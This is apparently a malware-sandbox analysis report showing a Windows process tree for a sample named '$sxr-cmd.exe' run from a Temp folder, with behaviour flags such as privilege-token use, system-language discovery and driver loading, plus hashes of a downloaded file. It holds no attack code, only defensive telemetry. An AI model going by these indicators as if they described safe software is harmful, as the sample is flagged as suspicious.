C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2332
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3108
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3300 -
C:\Users\Admin\AppData\Local\Temp\$sxr-cmd.exe"C:\Users\Admin\AppData\Local\Temp\$sxr-cmd.exe"2⤵
- System Location Discovery: System Language Discovery
PID:72
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3432
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3448
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3824
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3908
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3916
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:3924
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4164
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4392
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2428
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3720
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:1516
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:1004
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1448
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3016
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4972
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2064
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:2144
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:4780
-
C:\Windows\System32\PickerHost.exeC:\Windows\System32\PickerHost.exe -Embedding1⤵PID:3888
-
C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000114 0000008c1⤵
- Suspicious behavior: LoadsDriver
PID:2880
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵PID:4644
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82